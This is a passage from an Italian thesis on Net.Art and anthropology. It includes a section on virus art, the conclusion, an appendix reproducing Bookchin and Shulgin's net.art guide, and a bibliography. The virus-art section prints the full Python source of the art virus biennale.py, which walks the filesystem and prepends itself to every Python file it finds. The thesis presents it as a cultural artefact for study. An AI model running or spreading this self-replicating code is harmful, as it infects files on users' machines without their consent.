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La programmazione di Virus rientra nella definizione di Software art, cioè
l’utilizzo di un codice di programmazione per la creazione di un programma
informatico. Viene considerato appannaggio della Net.Art poichè coinvolge
proprio i network  che costituiscono Internet, proliferando sopratutto attraverso i
messaggi di posta elettronica. Ciò che viene  esaltato e messo in discussione
allo stesso tempo è la capacità di distribuzione della Rete. Con un processo di
squatting digitale  vengono intasati i canali di comunicazione e i computer degli
utenti. In molti casi la produzione di virus è una guerra tra hacker e Microsoft,
per mettere in discussione l’affidabilità dei software che fanno capo al
monopolio Bill Gates. Agli utenti non è lasciato spazio per l’azione, ma una
continua sensazione di instabilità, di paura di perdita dei dati o di timore per
un’ipotetica invasione della privacy. Lo spiazzamento è quindi massimo, così
come il detournment, che a seconda del virus, trasforma l’ambiente “naturale”
del proprio Pc in un  contesto pericoloso.  
Nel caso di Biennale.py l’intento non era di molestare, nè gli utenti, nè i
produttori di importanti software, ma di creare un cortocircuito culturale, questa
volta nell’ambito di una manifestazione importantissima come la Biennale di
Venezia. L’idea di Viurs stessa viene detournata e trasformata da una valenza
negativa ad una propriamente estetica dimostrando che la programmazione è
un atto creativo di scrittura che utilizza un codice. Non diversamente dai
linguaggi consolidati - definiti naturali – è possibile creare forme poetiche
piuttosto che testi politici. Biennale.py è stato considerato ai limiti della legalità.
E’ permesso scrivere un virus, ma non diffonderlo. Non siamo molto distanti dai
casi di censura letteraria.   

collaborazione di due entità, gli 01.org ed EpidemiC. E’ di fatto un Virus 
informatico il cui codice è stato reso noto, sia alle case di sviluppo software 
antivirus, sia al grande pubblico attraverso una serie di magliette. La diffusione 
avviene quindi sia attraverso le macchine che attraverso gli esseri umani. Il virus 
è innocuo, non distrugge i computer, ma si installa in background cercando 
semplicemente di sopravvivere. La provocazione di Biennale.py non si ferma 
qui: il virus è messo in vendita per adeguarsi al mercato dell’arte. 78 
 

                                            
78 http://www.ecn.org/thingnet/reviews/epidemic.html (u.a. 19/06/2003) 

Paragoniamo al
lavoro dei poeti,
l'opera di coloro che
scrivono codice di
programmazione 
per motivi "estetici"
e consideriamo
biennale.py un
monumento a loro
in quanto cultura
nativa, gli indigeni
del linguaggio
digitale. 78 
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biennale.py ________________ go         to _____ 49th Biennale di Venezia 
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws 
from dircache import * 
from string import * 
import os, sys 
from stat import * 
 
def fornicate(guest): 
    try: 
        soul = open(guest, "r") 
        body = soul.read() 
        soul.close() 
        if find(body, "[epidemiC]") == -1: 
            soul = open(guest, "w") 
            soul.write(mybody + "\n\n" + body) 
            soul.close() 
    except IOError: pass         
 
def chat(party, guest): 
    if split(guest, ".")[-1] in ("py", "pyw"): 
        fornicate(party + guest) 
 
def join(party): 
    try: 
        if not S_ISLNK(os.stat(party)[ST_MODE]): 
            guestbook = listdir(party) 
            if party != "/": party = party + "/" 
            if not lower(party) in wank and not "__init__.py" in guestbook: 
                for guest in guestbook: 
                    chat(party, guest) 
                    join(party + guest) 
    except OSError: pass 
         
if __name__ == '__main__': 
        mysoul = open(sys.argv[0]) 
        mybody = mysoul.read() 
        mybody = mybody[:find(mybody, "#"*3) + 3] 
        mysoul.close() 
        blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/") 
        if blacklist[-1] != "/": blacklist = blacklist + "/" 
        wank = [lower(blacklist), "/proc/", "/dev/"] 
        join("/") 
        print ">      This file was contaminated by biennale.py, the world slowest virus." 
        print "Either Linux or Windows, biennale.py is definetely the first Python virus." 
        print "[epidemiC] http://www.epidemic.ws __ + __ 
HTTP://WWW.0100101110101101.ORG " 
        print "> ______________________ 49th Biennale di Venezia 
______________________ <" 
### 
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DDiissccoonnnneettttiinngg  

  
 

La Rete non è più una novità: Internet ha compiuto 20 anni. 

Certe azioni prima considerate inusuali, come spedire una lettera in 

posta elettronica o dialogare con una persona  distante migliaia di 

kilometri senza saperne nulla, ora non sono più così incredibilmente 

trendy. Gli strumenti informatici sono diventati necessari nella 

maggior parte dei profili professionali. I motori di ricerca sono ormai 

indispensabili, sia per il giornalista professionista che per lo studente 

di scuola media in vista degli esami. L’informazione non viaggia più 

soltanto sulla carta o via etere, ma si è ben assestata su molteplici 

canali telelmatici diventando multimediale e ipertestuale.  Nei 

confronti di Internet, che solo 4 o 5 anni fa rappresentava la vera 

‘nuova arena’ della comunicazione non verticistica, l’entusiasmo è 

calato, ma allo stesso modo si è meno ingenui nei confronti di molti 

dei suoi meccanismi.  

La Net.Art ha potuto svilupparsi in un periodo in cui era forte il 

sentimento di trasporto nei confronti della Rete: si stava assistendo 

ad un traghettamento, apparentemente  senza ritorno, di molte 

strutture economiche e finanziarie ad un livello telematico che tutti 

avrebbero iniziato a chiamare New Economy. Gli anni a ridosso del 

2000 sono stati carichi di progetti visionari e avveniristici in tutti i 

campi. Si è gridato a più voci alla fine della televisione, del cinema, 
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dei giornali, della musica, dell’arte. Invece, come era possibile 

aspettarsi ad una previsione più avveduta o ad una lettura della 

storia dei media più attenta, l’introduzione di un nuovo mezzo di 

comunicazione non ha mai sconvolto il sistema generale, semmai lo 

ha costretto a modificarsi. Internet ha rappresentato una 

perturbazione forte, che ha fatto tentennare dei modelli, come quello 

del broadcasting, ma senza metterli definitivamente in discussione. 

La Net.Art ha rappresentato un passo più avanti rispetto alle critiche 

dei fautori della Rete contro gli ‘aggrappati’ agli old media, è stata la 

prima vera e propria critica a certi meccanismi oscuri di Internet da, 

parte dei più entusiasti di Internet, giocando con gli strumenti di 

Internet. In un sistema dell’abbondanza come quello del cyberspace, 

in cui qualsiasi cosa può coesistere senza rubare spazio all’altra, la 

Net.Art ha portato le prime riflessioni sulla portata socioculturale dei 

network interconnessi. Se le grandi aziende vogliono ancora 

appropriarsene per farne un  Mega Supermercato Globale, da una 

parte promettendo una maggiore libertà di scelta, ma di fatto 

servendosi di procedure di tracciamento che attentano al diritto alla 

privacy, i net.artisti hanno risposto con azioni dai tratti fortemente 

politici. Si sono serviti delle tattiche attiviste di cutural jammin, delle 

strategie stranianti delle avanguardie artistiche del novecento e 

dell’expertise degli Hacker illuminati mettendo in discussione le più 

semplici sicurezze dell’esperienza in Internet, giocando con i 

database, investigando l’interattività, i motori di ricerca,  gli errori del 
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codice, lottando per la libertà d’espressione e per il diritto alla 

privacy, scagliandosi contro i musei e le istituzioni accreditate e 

proponendo diversi modi di distribuzione del sapere, coinvolgendo 

migliaia di utenti dislocati nel mondo ad azioni di protesta inusuali. 

Hanno di fatto inventato un nuovo modo di fare arte creando una 

consapevolezza nuova del mezzo di comunicazione ‘Internet’.  

Questa tesi è stata un tentativo di rendere conto di un 

fenomeno artistico non privilegiando una lente necessariamente 

estetica, o una lettura lungo le linee della storia dell’arte. 

L’antropologia è servita prima di tutto alla considerazione di Internet 

come un insieme di pratiche culturali e coagulazioni sociali. E’ una 

discpilina che ha saputo fare delle critiche interne un rampa di lancio 

per la produzione di opere sperimentali, che hanno messo in 

discussione il ruolo del ricercatore e quello dell’autorità in un testo. Il 

superamento di un paradigma unico e unificante mi è sembrato poi 

un ottimo punto di partenza per una riflessione  transdisciplinare sul 

cyberspazio: complesso variegato di regole, esistenze multiple e 

restistenze culturali.  Ho scelto poi di utilizzare quelle teorie sui 

media che analizzassero le differenze tra nuovi e vecchi mezzi di 

comunicazione, e che facessero emergere aspetti prima poco 

considerati, con un attenzione, per esempio, alle implicazioni 

politiche e sociali dell’utilizzo dei software o alle implicazioni 

culturali di operazioni come il sampling e la digitalizzazione. In ultimo 

sono andato a ricercare quelle esperienze nella storia della 
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produzione artistica che in qualche modo potessero precedere 

concettualmente la Net.Art, per gli strumenti analizzati o le strategie 

messe in atto. Sono emersi i movimenti delle avanguardie storiche 

del novecento, con il loro superamento dell’idea di un’arte 

rappresentativa a favore di un’arte della comunicazione, e con il loro 

posizionarsi come alternativa al sistemza dell’arte. Ho preso poi in 

considerazione altri due movimenti, apparentemente molto distanti 

tra loro, ma che di fatto hanno presagito l’avvento di un modo di fare 

arte che polverizzasse i limiti di spazio e tempo: la Mail Art e la 

Network Art. La prima ha creato network di distribuzione alternativi, 

in quel caso quelli postali, la seconda ha utilizzato i satelliti per la 

realizzazione di eventi che permettessero  azioni di interazione a 

distanza.  

Come ogni movimento culturale quello della Net.Art dopo un 

periodo pioneristico, quasi eroico, sta ora pian piano esaurendo la 

sua carica eversiva. La non commerciabilità delle sue opere, clonabili 

e riproducibili o semplicemente non replicabili perchè basate sulla 

creazione di eventi, non ne permette un’introduzione completa nei 

sistemi dell’arte e dei musei. Sebbene diversi mostri sacri, come il 

Moma o la Tate Gallery, si siano interessati al fenomeno 

commissionando opere per i loro siti internet o provando ad 

applicare metodi tradizionali di esposizione, la Net.Art sembra non 

poter assurgere ad un livello più istituzionalmente accreditato, per 

quanto esso possa valere.   
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Credo in ogni caso che la commistione tra Arte, Computer e 

Reti Telematiche abbia rappresentato una svolta, critica ed 

epistemologica,  alle discipline che hanno iniziato a cimentarsi con il 

cyberspazio.  Sempre di più l’antropologia, se accetta la sfida e decide 

di considerare i multipli campi di ricerca interconnessi della Rete,  

dovrà indagare pratiche culturali che poco hanno a che fare con 

osservazioni  tradizionali o visioni unificanti. ‘Etnicità’, ‘soggettività’, 

‘culture’, l’ ‘Altro’, sono tutti concetti da ridefinire cercando di 

radicalizzare le spinte critiche apportate dalla schiera di antropologi 

definiti post-paradigmatici. Con la Rete finalmente tutti i soggetti 

possono parlare, tutti i gruppi rendersi visibili nelle modalità e con i 

discorsi che più prediligono, tutte le formazioni sociali esprimersi 

come meglio credono  e scegliere le forme mediali più adeguate. In 

quest’ottica, come ho cercato di dimostrare nel primo capitolo, ha 

poco senso una ricerca al singolare, che coinvolga cioè un autore 

(antropologo-etnografo..) soltanto. La dispersed autorship (autorialità 

dispersa), concetto coniato da Roy Ascott, è auspicabile anche nella 

nuova metodologia etnografica. L’autore si disperde letteralmente 

nell’ipertesto, si immerge nella Rete,  affinchè si indebolisca l’autorità 

monologica e ne fuoriesca un’entità plurale e polifonica. Ha poco 

senso inoltre limitarsi alla produzione cartacea, chiusa e limitata in se 

stessa. Le nuove etnografie devono accettare di farsi flusso (di dati, 

visivo, sonoro), assumere le sembianze di prodotti mediali prima 

utilizzati solo come contorno della ricerca (il video, la fotografia, 
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l’ipertesto multimediale).  

Attraverso le esperienze artistico-ludiche della Net.Art, si è 

dimostrato chiaramente il superamento di una concezione dell’arte 

basata sulla genialità di un soggetto creatore. Gli artisti sono chiamati 

a spogliarsi delle loro individualità monolitiche per vestirsi di 

identità fluide e diventare architetti sociali. Essi hanno la possibilità 

di costruire spazi abitabili in cui è l’azione di tutti gli utenti e il loro 

apporto creativo a rendere vive e eternamente modificabili le opere. 

Già con la Net.Art si è visto che i soggetti coinvolti, provenienti dai 

background più disparati, hanno unito le loro competenze per 

fondersi in progetti collaborativi di critica sociale.  Ho chiamato 

questa parte conclusiva “Disconnetting” non per trarre delle 

conclusioni definitive, ma per auspicare una serie di cambiamenti. La 

sfida principale delle discipline artistiche, così come di quelle 

antropologiche, sta tutta nell’accettare di doversi prima di tutto 

disconnettere dalle radici della tradizione, non per rinnegarla, ma per 

rimettere in discussione tutte le verità date per scontate.  

Solo se le discipline sfumeranno l’una nell’altra rendendo vaghi i confini tra chi fa

dell’antropologia, chi fa dell’arte, chi fa dell’analisi dei mezzi di comunicazione,

vecchi o nuovi che siano, allora una  lezione come quella della Net.art sarà servita.

Non rappresenterà in questo modo solo un fenomeno bislacco di cui rendere nota

sugli e-magazine, ma sarà il principio di un’ esperienza che vede in Internet

un’opportunità senza precedenti per una ricerca sociale davvero transdisciplinare.  

Ultradisciplinare. 
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APPENDICE 

 

Introduction to net.art (1994-1999) 
  

1. net.art at a Glance  

A. The Ultimate Modernism  

1. Definition  

a. net.art is a self-defining term created by a malfunctioning 
piece of software, originally used to describe an art and 
communications activity on the internet.  

b.  
b. net.artists sought to break down autonomous 
disciplines and outmoded classifications imposed upon 
various activists practices.  

2. 0% Compromise  

a. By maintaining independence from institutional bureaucracies  
b. By working without marginalization and achieving substantial 

audience, communication, dialogue and fun  
c. By realizing ways out of entrenched values arising from 

structured system of theories and ideologies  
d. T.A.Z. (temporary autonomous zone) of the late 90s: Anarchy 
and spontaneity  

3. Realization over Theorization  

a. The utopian aim of closing the ever widening gap between art 
and everyday life, perhaps, for the first time, was achieved and 
became a real, everyday and even routine practice.  

b. Beyond institutional critique: whereby an artist/individual could 
be equal to and on the same level as any institiution or 
corporation.  

c. The practical death of the author  

B. Specific Features of net.art  

1. Formation of communities of artists across nations and 
disciplines  
2. Investment without material interest  
3. Collaboration without consideration of appropriation of ideas  
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4. Privileging communication over representation  
5. Immediacy  
6. Immateriality  
7. Temporality  
8. Process based action  
9. Play and performance without concern or fear of historical                             
consequences  
10. Parasitism as Strategy  
       a. Movement from initial feeding ground of the net  
       b. Expansion into real life networked infrastructures  

11. Vanishing boundaries between private and public  
12. All in One:  

a. Internet as a medium for production, publication, distribution, 
promotion, dialogue, consumption and critique  
b. Disintegration and mutation of artist, curator, pen-pal, audience, 
gallery, theorist, art collector, and museum  

2. Short Guide to DIY net.art  

A. Preparing Your Environment  

1. Obtain access to a computer with the following 
configuration:  

a. Macintosh with 68040 processor or higher (or PC with 486 
processor or higher)  
b. At least 8 MB RAM  
c. Modem or other internet connection  

2. Software Requirements  

a. Text Editor  
b. Image processor  
c. At least one of the following internet clients: Netscape, 
Eudora, Fetch, etc.  
d. Sound and video editor (optional)  

B. Chose Mode  

1. Content based  
2. Formal  
3. Ironic  
4. Poetic  
5. Activist  

C. Chose Genre  
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1. Subversion  
2. Net as Object  
3. Interaction  
4. Streaming  
5. Travel Log  
6. Telepresent Collaboration  
7. Search Engine  
8. Sex  
9. Storytelling  
10. Pranks and Fake Identity Construction  
11. Interface Production and/or Deconstruction  
12. ASCII Art  
13. Browser Art, On-line Software Art  
14. Form Art  
15. Multi-User Interactive Environments  
16. CUSeeMe, IRC, Email , ICQ, Mailing List Art  

D. Production  

3. What You Should Know  

A. Current Status  

1. net.art is undertaking major transformations as a result of 
its newfound status and institutional recognition.  
2. Thus net.art is metamorphisizing into an autonomous 
discipline with all its accouterments: theorists, curators, 
museum departments, specialists, and boards of directors.  

B. Materialization and Demise  

1. Movement from impermanence, immateriality and 
immediacy to materialization  

a. The production of objects, display in a gallery  
b. Archiving and preservation  

2. Interface with Institutions: The Cultural Loop  

a. Work outside the institution  
b. Claim that the institution is evil  
c. Challenge the institution  
d. Subvert the institution  
e. Make yourself into an institution  
f. Attract the attention of the institution  
g. Rethink the institution  
h. Work inside the institution  
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3. Interface with Corporations: Upgrade  

a. The demand to follow in the trail of corporate 
production in order to remain up-to-date and visible  
b. The utilization of radical artistic strategies for product 
promotion  

4. Critical Tips and Tricks for the Successful Modern 
net.artist  

A. Promotional Techniques  

1. Attend and participate in major media art festivals, 
conferences and exhibitions.  

a. Physical  
b. Virtual  

2. Do not under any circumstances admit to paying entry 
fees, travel expenses or hotel accommodations.  
3. Avoid traditional forms of publicity. e.g. business cards.  
4. Do not readily admit to any institutional affiliation.  
5. Create and control your own mythology.  
6. Contradict yourself periodically in email, articles, 
interviews and in informal off-the-record conversation.  
7. Be sincere.  
8. Shock.  
9. Subvert (self and others).  
10. Maintain consistency in image and work.  

B. Success Indicators: Upgrade 2  

1. Bandwidth  
2. Girl or boy friends  
3. Hits on search engines  
4. Hits on your sites  
5. Links to your site  
6. Invitations  
7. E-mail  
8. Airplane tickets  
9. Money  

5. Utopian Appendix (After net.art)  

A. Whereby individual creative activities, rather than affiliation 
to any hyped art movement becomes most valued.  

1. Largely resulting from the horizontal rather than vertical 
distribution of information on the internet.  
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2. Thus disallowing one dominant voice to rise above 
multiple, simultaneous and diverse expressions.  

B. The Rise of an Artisan  

1. The formation of organizations avoiding the promotion of 
proper names  
2. The bypassing of art institutions and the direct targeting 
of corporate products, mainstream media, creative 
sensibilities and hegemonic ideologies  

a. Unannounced  
b. Uninvited  
c. Unexpected  

3. No longer needing the terms "art" or "politics" to 
legitimize, justify or excuse one's activities  

C. The Internet after net.art  

1. A mall, a porn shop and a museum  
2. A useful resource, tool, site and gathering point for an 
artisan  

a. Who mutates and transforms as quickly and cleverly 
as that which seeks to consume her  
b. Who does not fear or accept labeling or unlabeling  
c. Who works freely in completely new forms together 
with older more traditional forms  
d. Who understands the continued urgency of free two-
way and many-to-many communication over 
representation  

 
   

Natalie Bookchin, Alexei Shulgin 

March-April 1999 

 
 



 

 176

 
 
 
 
 

BBIIBBLLIIOOGGRRAAFFIIAA  
 
 
 
Anderson B.,  
1991 Comunità immaginate, Manifesto Libri, Roma, 1996 
Abruzzese A., 
1996 Analfabeti di tutto il mondo uniamoci, Costa&Nolan, Genova  
AdornoT.W.,  
1966 Dialettica negativa, Einaudi, Torino, 1970. 
Aukstakalnis S., Blatner D.,  
1992  Miraggi elettronici – Arte, scienze e tecniche di realtà virtuali, 

Feltrinelli, 1995   
Bachtin M.,  
1979 L’autore e l’eroe, Einuadi, Torino, 2000 
Barjavel R., 
1944 Cinema totale – Saggio sulle forme future del cinema, Editori 

Riuniti, Roma, 2001 
Barthes R.,  
1970 S/Z, Einaudi, Torino, 1973 
1953 Il grado zero della scrittura, Einaudi, Torino, 1982 
Baudrillard J.,  
1987 Cool memories. Diari 1980-1990, SugarCo, Milano 1990 
Benedikt M., a cura di  
1991 Cyberspace – Primi passi nella realtà virtuale, Muzzio Editore, 

Genova, 1993    
Benjamin W.,  
1955 L’opera d’arte nell’epoca della sua riproducibilità tecnica – 

Arte e società di massa, Einaudi, Torino, 2000 
Berners-Lee T., 
1999 L’architettura del nuovo web, Feltrinelli, Milano, 2001 
Betsky A., Adigard E.,  
2000 Architecture must burn – A manifesto for an architecture 

beyond building, Thames & Hudson, London 1944  
Bettetini G., Gasparini B., Vittadini N.,  
1999 Gli spazi dell’Ipertesto, Bompiani, Milano 
“Bifo” Berardi F., 
1994   Mutazione e cyberpunk, Costa&Nolan, Genova   
Bolter J.D., Grusin R., 
1999 Remediation – Competizione e integrazione tra media vecchi 

e nuovi, Guerini e Associati, Milano, 2002  



 

 177

 
 
 
 
 

Bordini S.,  
2000  Arte Elettronica, Giunti, Firenze 
Camaiti Hostert A., 
1995 Passing (dispense del professore), Eucos Editori, Foligno, 

2002 
Canevacci M.,  
1995 Antropologia della comunicazione visuale, Costa&Nolan, 
Genova  
Castells M., 
1996 The Culture of Real Virtuality, in The Rise of the Network 

Society, Blackwell, Malden/Oxford 
Clifford J.,  
1988 I frutti puri impazziscono – Etnografia, letteratura e arte nel 

secolo XX, Bollati Boringhieri, Torino, 1999 
Costa M., 
1998  Il sublime tecnologico, Castelvecchi, Roma 
1999  L’estetica dei media, Castelvecchi, Roma 
1999  L’estetica della comunicazione, Castelvecchi, Roma 
De Micheli M.,  
1959  Le avanguardie artistiche del Novecento, Feltrinelli, 1976 
Deleuze G., Guattari G., 
1976 Rizoma. Millepiani. Capitalismo e schizofrenia, Castelvecchi, 

Roma, 1997 
Dery M.,  
1996 Velocità di fuga – Cyberculture a fine millennio, Feltrinelli, 

Milano, 1997 
Deseriis M., Marano G.,  
2003 Net.Art – L’arte della connessione, Shake, Milano 
Di Corinto A., Tozzi T.,  
2002 Hacktivism, La libertà nelle maglie della Rete, Manifestolibri, 

Roma 
Eco U.,  
1962 Opera aperta, Bompiani, Milano  
Featherstone M., Burrows R., a cura di  
1995 Tecnologia e Cultura Virtuale – Cyberspace, cyberbodies, 

cyberpunk, FrancoAngeli, Milano, 1999 
Ferraro A., Montavano G., (a cura di)  
1994 La scena immateriale – Linguaggi elettronici e mondi virtuali, 

Costa&Nolan, Genova 
Geertz, C., 
1972 Interpretazione di Culture, Il Mulino, Bologna, 1987 
1990 Opere e vite. L'antropologo come autore, il Mulino, Bologna. 



 

 178

 
 
 
 
 

 
Giaccardi E., 
1996 Evolvendo – Esperienze di Network art in atto sul world wide 

web, Tesi di Laurea, Università degli studi di Torino  
Haraway D., 
1991 Simians, Cyborgs, and Women : The Reinvention of Nature, 

Free Association Book, London 
Home S., 
1995 Neoismo e altri scritti, Costa&Nolan, Genova, 1997 
Landow G., 
1992 Ipertesto – Il futuro della scrittura, Baskerville, Bologna, 1993 
Lévi-Strauss C., 
1955 Tristi tropici, il Saggiatore, 1999  
Lévy P., 
1994 L'intelligenza collettiva. Per una antropologia del cyberspazio, 

Feltrinelli, Milano, 1996 
1995 Il virtuale, Raffello Cortina Editore, Milano, 1997 
 
Link Project, a cura di  
2000 Netmage – Piccola enciclopedia dell’immaginario tecnologico 

– Media, arte, comunicazione, Mondadori, Milano 
Lippard L., 
1977 Six Years: the Dematerialization of the Art Objects from 1966 

to 1972, University of California Press, Berkeley 
Maldonado T., 
1997  Critica della ragione informatica, Feltrinelli,  
Manovich L., 
2001 Il linguaggio dei nuovi media, Olivares, Milano, 2002 
Marcus G.E., Fischer M.J., 
1986 Antropologia come critica culturale, Meltemi, Roma, 1998 
McLuhan M., 
1964  Gli strumenti del comunicare, Mondadori, Milano, 1999 
Mirzoeff N., 
1999 Introduzione alla cultura visuale, Meltemi, Roma, 2000 
Negroponte N., 
1995 Essere Digitali, Sperling&Kupfer, Milano 
Nelson T H.,  
1990 Literary Machines 90.1, Muzzio, Padova 1992 
Perniola M.,    
1994  Il sex appeal dell’inorganico, Einaudi, Torino 
1998 I situazionisti, Castelvecchi, Roma  
2000 L’arte e la sua ombra, Einaudi, Torino 



 

 179

 
 
 
 
 

Porter D., a cura di  
1997 Internet Culture, Routledge, New York 
 
Rheingold H., 
1992 La realtà virtuale – I mondi artificiali generati dal computer e il 

loro potere di trasformare la società, Baskerville, Bologna, 
1993 

Romano G., 
2000 Artscape,Costa&Nolan,Ancona-Milano 
 
Rosaldo R., 
2001 Cultura e verità, Meltemi, Roma, 2001 
Sbrilli A., 
2001  Storia dell’arte in codice binario, Guerini e Associati 
Shostak M., 
1981 Nisa – La vita e le parole di una donna !kung, Meltemi, 2002 
Sobchack V., 
2000 Meta-morphing, University of Minnesota Press 
Taiuti L., 
1996 Arte e Media, Costa & Nolan, Milano 
Turner V., 
1982 Dal rito al teatro, Il Mulino, Bologna, 1986  
Valentini V., a cura di  
1999  Il video a venire, Rubbettino, Soveria Mannelli (Cz) 
Zolberg V.L., 
1990  Sociologia dell’arte, Il Mulino, Bologna, 1994 

  

RRiivviissttee  ee  CCaattaalloogghhii  
 
A.A.V.V.    
1999  Net condition, a cura di Weibel&Druckrey, Graz 
A.A.V.V. 
2001  Absolute one, a cura di Aurora Fonda, catalogo della 49 

Biennale di Venezia  Padiglione Sloveno 
A.A.V.V. a cura di Gianni Romano 
2001  Media Connection, Scheiwiller 
 
A.A.V.V.  
 Avatar n°1, n°2, n°3  -  Meltemi, Roma 
 



 

 180

 
 
 
 
 

WWEEBBGGRRAAFFIIAA 
 
 
 

http://www.vukcosic.com (u.a. 17/06/2003) 
http://www.linux.org/ (17/06/2003) 

http://potatoland.org/pl.htm (17/06/2003) 
http://WWW.0100101110101101.ORG (17/06/2003) 

http://www.marcelduchamp.org/ (17/06/2003) 
http://www.thing.net/~dollyoko/censored/dollyoko.html (u.a. 5/6/2003) 

http://www.trax.it/dogma95.htm (u.a. 19/06/2003) 
http://www.morciano.it/boccioni/manifesto-della-ricostruzione.htm (u.a. 

4/6/2003 ) 
http://www-utenti.dsc.unibo.it/~cavatoi/ig/disgusto%20dadaista.htm 

(u.a. 4/6/2003 ) 
http://www.nettime.org/ (u.a. 4/6/2003 ) 
http://www.irational.org/cern/netart.txt 

http://baccelli1.interfree.it/mailart1.htm (u.a. 19/05/2003) 
http://telematic.walkerart.org/telereal/bit_brecht.html (u.a. 16/5/2003) 

http://www.ecafe.com/getty/SA/ (u.a. 17/5/2003) 
http://www.ekac.org/Telecom.Paper.Siggrap.html (u.a. 18/05/2003) 

http://www.mediamente.rai.it/home/bibliote/intervis/b/bonitool.htm#link001 
(u.a. 16/5/2003) 

http://amsterdam.nettime.org/Lists-Archives/nettime-l-0201/msg00104.html 
(u.a. 16/06/2003) 

http://www.geocities.com/SoHo/Square/3035/adorno.htm (u.a. 15/5/2003) 
http://www.bigguest.net/riflessioni/index_e.html (n.r. 28/05/2003) 

http://www.waxweb.org/ (u.a. 20/05/2003) 
http://www.usc.edu/dept/raiders/ (u.a. 20/05/2003) 

http://ca80.lehman.cuny.edu/davis/writesentence.html (u.a. 20/05/2003) 
http://adaweb.walkerart.org/~GroupZ/LOVE/ (u.a. 20/05/2003) 

http://adaweb.walkerart.org/project/secure/corridor/sec1.html (u.a. 
28/05/2003) 

http://www.johnt.org/meniscus/physiog/physiog.html (u.a. 20/05/2003) 
http://bbs.thing.net/login.thing (u.a. 21/05/2003) 

http://www.teleportacia.org/war/  (u.a. 21/05/2003) 
http://redsun.cs.msu.su/wwwart/refresh.htm (u.a. 21/05/2003) 

http://www.irational.org/cgi-bin/cctv/cctv.cgi?action=main_page (u.a. 
21/05/2003) 

http://www.rhizome.org/ (u.a. 21/05/2003) 
http://colossus.v2.nl/syndicate/index_frames.html (u.a. 21/05/2003) 

http://www.mouchette.org (u.a. 26/05/2003) 
http://www.textgenomics.com/10.html (u.a. 21/05/2003) 

http://www.echonyc.com/~confess/ (accessibile solo homepage) 
http://www.grammatron.com/ (u.a. 21/05/2003) 



 

 181

 
 
 
 
 

http://www.conceptlab.com/simulator/ (u.a. 21/05/2003) 
http://sero.org/Sero/dyt/ (u.a. 21/05/2003) 

http://on1.zkm.de/netCondition.root/netcondition/start/language/default_e 
(u.a. 21/05/2003) 

http://www.easylife.org/netart/catalogue.html (u.a. 21/05/2003) 
http://www.mccoyspace.com/201/ (u.a. 21/05/2003) 

http://www.music.mcgill.ca/~mcentury/Papers/ART.html (u.a. 21/05/2003) 
http://www.mouchette.org/flesh/tong.html 

http://www.mouchette.org/flesh/tong.html (19/06/2003) 
http://www.webbyawards.com (19/06/2003) 

http://random.exibart.com/20notizie.asp?IDCategoria=3133 (19/06/03) 
http://www.rtmark.com/etoysquit.html (u.a. 30/05/2003) 

http://www.hackerart.org/glossari/h/hijack/continua.htm (u.a. 3/06/2003) 
http://www.archimuse.com/mw98/beyondinterface/packer_senses.html 

(u.a. 28/05/2003) 
http://switch.sjsu.edu/web/v4n1/annmarie.html  (19/06/2003) 

http://www.untitled-game.org/download.html (u.a. 10/06/2003) 
http://www.opensorcery.net/2reviews.html (u.a. 15/06/2003) 

http://bak.spc.org/iod (u.a. 15/06/2003) 
http://www.potatoland.org (u.a. 15/06/2003) 

http://www.rhizome.org/carnivore (u.a. 15/06/2003) 
http://www.7-11.org/ 

http://www.enst.fr/~auber/ 
http://bug.village.virginia.edu/ 

http://www.thing.net/~rdom/ecd/ecd.html 
http://www.mongrel.org.uk/ 

http://www.aec.at/ 
http://www.vuk.org/dx/ 
http://www.2600.com/ 

http://simsim.rug.ac.be/attic/ 
http://www.easylife.org/desktop/ 

http://www.easylife.org/homework/ 
http://www.m9ndfukc.com/ 

ftp://quixot.rug.ac.be/MP&G_11h.dbh!/ 
http://www.irational.org/daniel/ 

http://www.khm.de/people/krcf/IO/ 
http://www.irational.org/heath/london/ 

http://brandon.guggenheim.org/ 
http://www.inconversation.com/ 
http://arts.ucsb.edu/bodiesinc/ 

http://www.rhizome.org/ 
http://www.adaweb.com/ 

http://www.guggenheim.org/ 
http://www.thing.net/~pomaga/ 

http://www.alberta.com/unfamiliarart 
http://www.archimuse.com/mw98/beyond_interface/ 



 

 182

 
 
 
 
 

http://www.spinster.be/web-specific-art/ 
http://www.netzwissenschaft.de/kuenst.htm 

 

 

 

 

 

 

 

 

 
 
 
 
 
 


